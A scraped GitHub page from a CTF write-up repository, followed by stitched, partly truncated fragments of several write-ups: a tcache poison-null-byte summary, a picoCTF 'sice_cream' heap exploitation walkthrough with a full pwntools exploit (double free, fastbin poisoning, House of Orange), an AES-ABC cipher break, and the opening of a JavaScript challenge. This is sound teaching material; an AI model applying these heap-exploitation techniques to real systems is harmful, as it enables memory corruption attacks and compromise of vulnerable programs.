<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>csaw-2019-quals</span></span><span>/</span><span><span>crypto</span></span><span>/</span>byte_me<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/jiafuei/ctf-writeups/tree-commit/6bb357018b535513ad1131ed4bba9a437a83e4b5/csaw-2019-quals/crypto/byte_me" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/jiafuei/ctf-writeups/file-list/master/csaw-2019-quals/crypto/byte_me"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>images</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solution.MD</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solution.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
Poison Null Byte Attack on a libc version with tcache bins. Because of the tcachebins, make sure the fill them up and empty them at the correct times. Once you obtain overlapped chunks with the help of the poison null byte, you can then target free hook via tcache poisoning. |
There is a UAF (which will allow for double frees later) and a possible null byte overflow during allocation. Libc 2.29 has the whole key mechanism of protecting tcachebins.
Allocate a chunk, then allocate another chunk (let's say size 0x150). Free both the chunk above and this 0x150 chunk (real size 0x160 because metadata). Then re-allocate something of the first size to get that chunk back; this time, also null byte overflow the size field below. Re-free the overflown chunk and now it goes into a different bin (specifically the 0x100 tcache bin because of the single null byte overflow).
Then re-allocate size 0x150 to get this very same chunk back from its tcachebin, and then free it back into 0x100 as the null byte is still in effect, thereby creating a double free. Now, overwrite next pointers for the 0x100 tcachebin and perform a classic tcache poisoning attack to overwrite free hook.
Many of us have decided to name this attack the House of Poortho, in honor of the challenge writer. |
# sice_cream
> Just pwn this [program](sice_cream) and get a flag. Connect with `nc 2019shell1.picoctf.com 5033`. [libc.so.6](libc.so.6) [ld-2.23.so](ld-2.23.so).
> Hints: Make sure to both files are in the same directory as the executable, and set `LD_PRELOAD` to the path of `libc.so.6`
We are given a stripped binary called `sice_cream` as well as two libc files: `libc.so.6` and `ld-2.23.so`. Therefore, we know we are working in GLIBC version 2.23. When running (with `LD_PRELOAD=./libc.so.6`; also make sure all three files are marked as executable), we are prompted for a name, then greeted with a four option menu: `Buy sice cream`, `Eat sice cream`, `Reintroduce yourself`, and `Exit`. Before we move on, let's also take a look at the checksec for this problem:```[*] '/.../sice_cream' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: './'```Notably, `Full RELRO` means the GOT is not writeable, which rules out quite a few attack vectors. Having `PIE` disabled is nice though, and suggests that we might need to use a fixed address of some function or global variable in our exploit. After a bit of messing around, our next logical step is to reverse the binary. With some Ghidra, `objdump`, and `gdb`, we get:```c#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <ctype.h>
// note: creams is stored in memory right after namechar name[256];char* creams[20];
// 0x400cc4void printfile(char *filename){ char c; FILE *file; file = fopen(filename,"r"); if (file != NULL) { while (1) { c = getc(file); if (c == 0xff) break; putchar(c); } }}
int get_num_creams() { int ct; for (ct = 0; creams[ct] != NULL; ct++) { if (ct > 19) { return -1; } } return ct;}
void eat() { char buf[24]; puts("Which sice cream do you want to eat?"); printf("> "); read(0,buf,16); uint which = (uint)strtoul(buf,NULL,10); if (which > 19) { puts("Invalid index!"); exit(-1); } // horrible, allows double free free(creams[which]); puts("Yum!");}
void buy() { char buf[24]; int num_creams = get_num_creams(); if (num_creams < 0) { puts("Out of space!"); exit(-1); } puts("How much sice cream do you want?"); printf("> "); read(0,buf,16); uint amt = (uint)strtoul(buf,NULL,10); if (amt > 88) { puts("That\'s too much sice cream!"); exit(-1); } char* newcream = malloc(amt); creams[num_creams] = newcream; puts("What flavor?"); printf("> "); read(0,creams[num_creams],amt); puts("Here you go!");}
// If name is not null-terminated (i.e. we fill all 256 chars)// then rename() will leak creams[0]void reintroduce() { puts("What\'s your name again?"); printf("> "); read(0,name,256); printf("Ah, right! How could a forget a name like %s!\n",name);}
void menu() { puts("1. Buy sice cream"); puts("2. Eat sice cream"); puts("3. Reintroduce yourself"); puts("4. Exit");}
void main() { int choice; char buf[24]; setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); puts("Welcome to the Sice Cream Store!"); puts("We have the best sice cream in the world!"); puts("Whats your name?"); printf("> "); read(0,name,256);
while (1) { menu(); printf("> "); read(0,buf,16); choice = (int)strtoul(buf,NULL,10); switch(choice) { case 1: buy(); break; case 2: eat(); break; case 3: reintroduce(); break; case 4: puts("Too hard? ;)"); default: exit(0); } }}```Obviously, this is a heap exploitation problem. We also note a few things:- We are restricted to `buy`ing pointers of fastbin size (in fact, maxing out at `0x58`).- There is an unreferenced function at `0x400cc4` that prints out the file given by its argument.- Eating a sice cream `free`s the respective pointer, but does not `NULL` it out in `creams`. This allows us to potentially abuse a double free.- `name` is directly above `creams` in memory.- If we `reintroduce` with a name of the full length `256`, we can leak the first pointer in `creams`.
Since most heap problems require a libc leak at some point, we think of ways to do this. Unfortunately, we can only allocate fastbin size chunks, which will not produce libc pointers. If only we could make a smallbin chunk...
The key observation to make from here is that `rename` lets us have total control of `256` bytes (actually `255` because of the forced `\n`) in memory. We actually _can_ make a smallbin chunk: a forged one in `name`. Of course, we wouldn't be able to free that smallbin chunk to actually get the libc pointers written in unless we controlled `creams`.
But we can in fact control `creams`! Remembering that `name` is right above `creams` in memory, we realize that we can use a double free into fastbin forward pointer poisoning to get `malloc` to return a fake chunk in `name`, right above `creams`! Thus, we will write into `name` the following data:```[name]0x602040: 0x0000000000000000 0x00000000000000c10x602050: 0x0000000000000000 0x00000000000000000x602060: 0x0000000000000000 0x00000000000000000x602070: 0x0000000000000000 0x00000000000000000x602080: 0x0000000000000000 0x00000000000000000x602090: 0x0000000000000000 0x00000000000000000x6020a0: 0x0000000000000000 0x00000000000000000x6020b0: 0x0000000000000000 0x00000000000000000x6020c0: 0x0000000000000000 0x00000000000000000x6020d0: 0x0000000000000000 0x00000000000000000x6020e0: 0x0000000000000000 0x00000000000000000x6020f0: 0x0000000000000000 0x00000000000000000x602100: 0x00000000000000c1 0x00000000000000310x602110: 0x0000000000000000 0x00000000000000000x602120: 0x0000000000000000 0x00000000000000000x602130: 0x0000000000000000 0x0000000000000041[creams]0x602140: ...```By abusing double free, we can coerce malloc into returning the chunk at `0x602130`, which in turn means we can write `0x602040` into `creams[0]`, and thus free our fake fastbin chunk by `eat`ing `0`. (The chunk in between is to pass corruption checks.) If we do this, `name` will begin like so:```0x602040: 0x0000000000000000 0x00000000000000c10x602050: < libc pointer > < libc pointer >```... and reintroducing ourselves with the name `AAAAAAAABBBBBBBB` will allow us to leak libc.
From here, we might get stuck. Ideally, we would finish by using the same exploit and tricking `malloc` into returning a fake (misaligned) chunk of size `7f` right above `__malloc_hook`, then writing what we want into `__malloc_hook`. But such a chunk would be of fastbin size, and we can only allocate chunks of size up to `0x60`, so that wouldn't work.
Eventually, we remember than we are in libc 2.23, which is coincidentally the version right before an exploit called House of Orange was patched. This exploit (in a _very_ brief nutshell; see [here](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c) for more details, referring to "phase two" of the attack) allows us to call an arbitrary function by modifying the contents of a `free`'d chunk in the unsorted bin. We might consider the standard `system("/bin/sh")`; however, when this is manually tested, we notice that `system` will silently crash and do nothing. This limitation is because we are using `LD_PRELOAD`: `/bin/sh` will crash when executed with this wrong version of libc. (This issue means that any normal finish involving getting a shell probably won't work). But we recall the secret `print_file` function: we can simply call `print_file("flag.txt")`. Now that we know what to do, we give our exploit script (with useful comments):```pythonfrom pwn import *import time
""" Helper methods """def wait(): time.sleep(0.05)def flush(): return p.recv(4096)
def buy(name, amt): p.sendline("1") p.recvuntil("How much sice cream do you want?") p.sendline(str(amt)) p.recvuntil("What flavor?") p.sendline(name) p.recvuntil("4. Exit") wait()def eat(n): p.sendline("2") p.recvuntil("Which sice cream do you want to eat?") p.sendline(str(n)) p.recvuntil("4. Exit\n") wait()def rename(s): p.sendline("3") p.recvuntil("What's your name again?") p.sendline(s) wait() return flush()
# Converts a string containing memory into a packed exploit stringdef str2payload(s): s = s.replace("\n"," ") s = s.replace("\t"," ") # We ignore chunks ending with ":" for convenience mem = [x for x in s.split(" ") if x is not "" and not x[-1] == ":"] nums = [int(x,16) for x in mem] return ''.join([p64(x) for x in nums])
# Converts a leaked pointer string into an integer addressdef leak2addr(s): if s == '': return -1 bytelist = [ord(x) for x in s] assert len(bytelist) <= 8 assert len(bytelist) >= 4 lsw = bytelist[0:4] msw = bytelist[4:8] while len(msw) < 4: msw.append(0) lsw_val = lsw[0] *1 + lsw[1] *256 + lsw[2] *256*256 + lsw[3] *256*256*256 msw_val = msw[0] *1 + msw[1] *256 + msw[2] *256*256 + msw[3] *256*256*256 val = lsw_val + 256*256*256*256 * msw_val return val
# Secret function that prints out the contents of a file given by its argument.PRINT_FILE = 0x400cc4
""" Exploit """# p = process('./sice_cream', env={"LD_PRELOAD": "/home/alex/CTF/sice/libc.so.6"})p = remote('2019shell1.picoctf.com', 5033)p.sendline("~~~~")wait()
# Our first job is to get a libc leak. We will accomplish this by writing a fake# fastbin chunk into name and freeing it.m1 = """0x602040: 0x0000000000000000 0x00000000000000c10x602050: 0x0000000000000000 0x00000000000000000x602060: 0x0000000000000000 0x00000000000000000x602070: 0x0000000000000000 0x00000000000000000x602080: 0x0000000000000000 0x00000000000000000x602090: 0x0000000000000000 0x00000000000000000x6020a0: 0x0000000000000000 0x00000000000000000x6020b0: 0x0000000000000000 0x00000000000000000x6020c0: 0x0000000000000000 0x00000000000000000x6020d0: 0x0000000000000000 0x00000000000000000x6020e0: 0x0000000000000000 0x00000000000000000x6020f0: 0x0000000000000000 0x00000000000000000x602100: 0x00000000000000c1 0x00000000000000310x602110: 0x0000000000000000 0x00000000000000000x602120: 0x0000000000000000 0x00000000000000000x602130: 0x0000000000000000 0x0000000000000041"""# THE LAST CHAR IS REMOVED BECAUSE IT WILL BECOME \npayload1 = str2payload(m1)[:-1]
# Because creams is directly below name in memory, we use double free fastbin# poisoning to get the chunk at RETME, which we can use to write SMALLBIN to# creams[0].RETME = 0x602130SMALLBIN = 0x602050SZ = 56
# Standard double free to coerce malloc to return RETMEbuy("", SZ)# We also need to leak a heap address, and we can do that right after our# first malloc. By filling name with non-NULL bytes we get rename to leak# creams[0] and thus calculate HEAPBASE.flush()rename("A"*255)data = flush()# Note: leak2addr will FAIL if our HEAPBASE happens to have a NULL byte in it.# If so, we can just run again.HEAPBASE = leak2addr(data.split('\n')[1][:-1]) - 0x10print "=== LEAKED HEAPBASE: {0} ===".format(hex(HEAPBASE))
# Put the contents of m1 into name, including our smallbin chunk and the chunk# above as well as a chunk in between to pass the corruption checks.rename(payload1)
# Continue the double freebuy("", SZ)buy("", SZ)eat(0)eat(1)eat(0)# Poison the fastbin fd pointerbuy(p64(RETME),SZ)buy("",SZ)# (We will use this chunk (at HEAPBASE + 0x10) later)buy(p64(PRINT_FILE)*5,SZ)# This malloc will now give us the chunk at RETME, so we can write the address# of our smallbin chunk into creams[0].buy(p64(SMALLBIN),SZ)
# Free the fake smallbin chunkeat(0)
# Leak libc with rename. We fill the first 16 bytes with non-NULL because the# libc address begins at byte 17flush()rename("AAAABBBBCCCCDDD")data = flush()
# Calculate critical offsetsLEAKED = leak2addr(data.split('\n')[1][:-1])LIBC_BASE = LEAKED - 0x3a4438IOLISTALL = LIBC_BASE + 0x3a4de0print "=== LEAKED LIBC: {0} ===".format(hex(LIBC_BASE))print "=== _IO_list_all: [{0}] ===".format(hex(IOLISTALL))
# Set up house of orange exploit. Our vtables address will point to the chunk we# allocated earlier (at HEAPBASE + 0x10), which we filled with the address of# print_file.m2 = """0x602040: 0x7478742e67616c66 0x00000000000001000x602050: 0x0000000000000000 {0}0x602060: 0x0000000000000000 0x00000000000000610x602070: 0x0000000000000000 0x00000000000000000x602080: 0x0000000000000000 0x00000000000000000x602090: 0x0000000000000000 0x00000000000000000x6020a0: 0x0000000000000000 0x00000000000000000x6020b0: 0x0000000000000000 0x00000000000000000x6020c0: 0x0000000000000000 0x00000000000000000x6020d0: 0x0000000000000000 0x00000000000000000x6020e0: 0x0000000000000000 0x00000000000000000x6020f0: 0x0000000000000000 0x00000000000000000x602100: 0x0000000000000000 0x00000000000000610x602110: 0x0000000000000000 {1}0x602120: 0x0000000000000000 0x00000000000000000x602130: 0x0000000000000000 0x0000000000000000""".format(hex(IOLISTALL-16), hex(HEAPBASE+0x10))payload2 = str2payload(m2)[:-1]rename(payload2)
p.interactive()# Now, we just buy a 0x58 (88), which will trigger our HoO chain and flag us!# Note: due to alignment issues we will not always get a flag from this.# If it fails, just run again```After running a few times, we get our flag, a quite fitting comment:> `flag{th3_r3al_questi0n_is_why_1s_libc_2.23_still_4_th1ng_19e46be4}` |
# AES-ABC> AES-ECB is bad, so I rolled my own cipher block chaining mechanism - Addition Block Chaining! You can find the source here: aes-abc.py. The AES-ABC flag is body.enc.ppm
> Hints:> You probably want to figure out what the flag looks like in ECB form...
As is always the case, we begin by skimming the source code. Of interest, of course, is the encryption algorithm.```python3def aes_abc_encrypt(pt): cipher = AES.new(KEY, AES.MODE_ECB) ct = cipher.encrypt(pad(pt))
blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)] iv = os.urandom(16) blocks.insert(0, iv) for i in range(len(blocks) - 1): prev_blk = int(blocks[i].encode('hex'), 16) curr_blk = int(blocks[i+1].encode('hex'), 16)
n_curr_blk = (prev_blk + curr_blk) % UMAX blocks[i+1] = to_bytes(n_curr_blk)
ct_abc = "".join(blocks) return iv, ct_abc, ct```The top states that the encryption mode is electronic codebook (ECB), and the hint suggests that we would like to get to reverse the ciphertext into this form.
Skimming down, it uses an initialization vector ``iv`` to start off the blocks, and then it runs the following critical chain:```python for i in range(len(blocks) - 1): prev_blk = int(blocks[i].encode('hex'), 16) curr_blk = int(blocks[i+1].encode('hex'), 16)
n_curr_blk = (prev_blk + curr_blk) % UMAX blocks[i+1] = to_bytes(n_curr_blk)```Essentially, it is taking the previous block and adding it directly to the current block, and then iterating this process with the next block. Note the accompanying ASCII diagram.``` [plain 1] [plain 2] [plain 3] ... | | | | (AES ECB) | (AES ECB) | (AES ECB) V V V [ ECB 1 ] [ ECB 1 ] [ ECB 3 ]+iv -> [ enc 1 ] --- + -> [ enc 2 ] --- + -> [ enc 3 ] --- ...```Experienced readers may note this is pretty much the typical cipher block chaining, using addition instead of xor. We are, of course, given the ``enc`` blocks in the ``body.ppm.enc`` file, and while we can't reverse this into the original plaintext, we can at least reverse this back into ECB mode by simply subtracting out. Notice that```enc n = ECB n + enc n-1```where ``enc 0 = iv`` by convention. This means that we simply have```ECB n = enc n - enc n-1```which can be calculated easily.
We do this now. The script will output in ECB.```python3>>> import binascii>>> f = open('body.enc.ppm','rb').read()[16:] # Remove the header>>> enc_blocks = [f[i:i+16] for i in range(0,len(f),16)]>>> enc_blocks = [int(binascii.hexlify(b),16) for b in enc_blocks]>>> ecb_blocks = [(enc_blocks[n] - enc_blocks[n-1]) % (256**16) for n in range(1,len(enc_blocks))]```
This will, theoretically, turn our ciphertext into the simpler ECB mode, so now we must exploit the ECB. The issue with ECB is that the same plaintext becomes the same ciphertext every time, so in cases where many plaintexts will inevitably repeated, we could guess what the plaintext corresponds to brcause it appears so frequently. Or, because it is an image being encrypted (it is ``.ppm``), we could hope that each block corresponds to one red-green-blue triple so that the same pixel will get encrypted to the same block in ciphertext, every single time.
And this wishful thinking pays off. Indeed, if one runs ``set(ecb_blocks)``, there are surprisingly few total values (in comparison to the modulus ``UMAX``), so it is likey that these do in fact correspond to individual rgb values. Skimming through ``ecb_blocks``, it is easily noticed that the value ``170711812579352817628051274266082219019`` appears far more than any other value, so we guess that this corresponds to a background color of some kind. Because of how little the other values seem to appear, we can will just pretend that this value is black, and all other values are white. (This simply makes the image crisper and makes image-creation easier.)
So we create the following image-creation function.```python3>>> from PIL import Image>>> bkgd = 170711812579352817628051274266082219019>>> def create(w, h):... im = Image.new('RGB', (w,h))... im.putdata([(0,0,0) if b==bkgd else (255,255,255) for b in ecb_blocks])... im.save('flags/flag' + str(w) + '.png')```I couldn't get the image dimensions given in the header of the ``.ppm`` to work for me, but some for loop magic does the trick. After some guessing and checking (``for i in range(1,1000):create(i,len(ecb_blocks)//i+i)``), we see the flag is especially visible for widths of length ``355`` and multiples. > ``picoCTF{d0Nt_r0ll_yoUr_0wN_aES}`` |
# Java Script Kiddie
> The image link appears broken... https://2019shell1.picoctf.com/problem/37826 or http://2019shell1.picoctf.com:37826.> Hints: This is only a JavaScript problem.
Upon accessing the site, we find a textbox with a submit button next to it. When we press submit, a placeholder image icon appears. We suspect that inputting a correct password into the box will make the image valid. Let's inspect the javascript, given that this is a JS-only problem by the hint:
```jsvar bytes = [];$.get("bytes", function(resp) { bytes = Array.from(resp.split(" "), x => Number(x));});
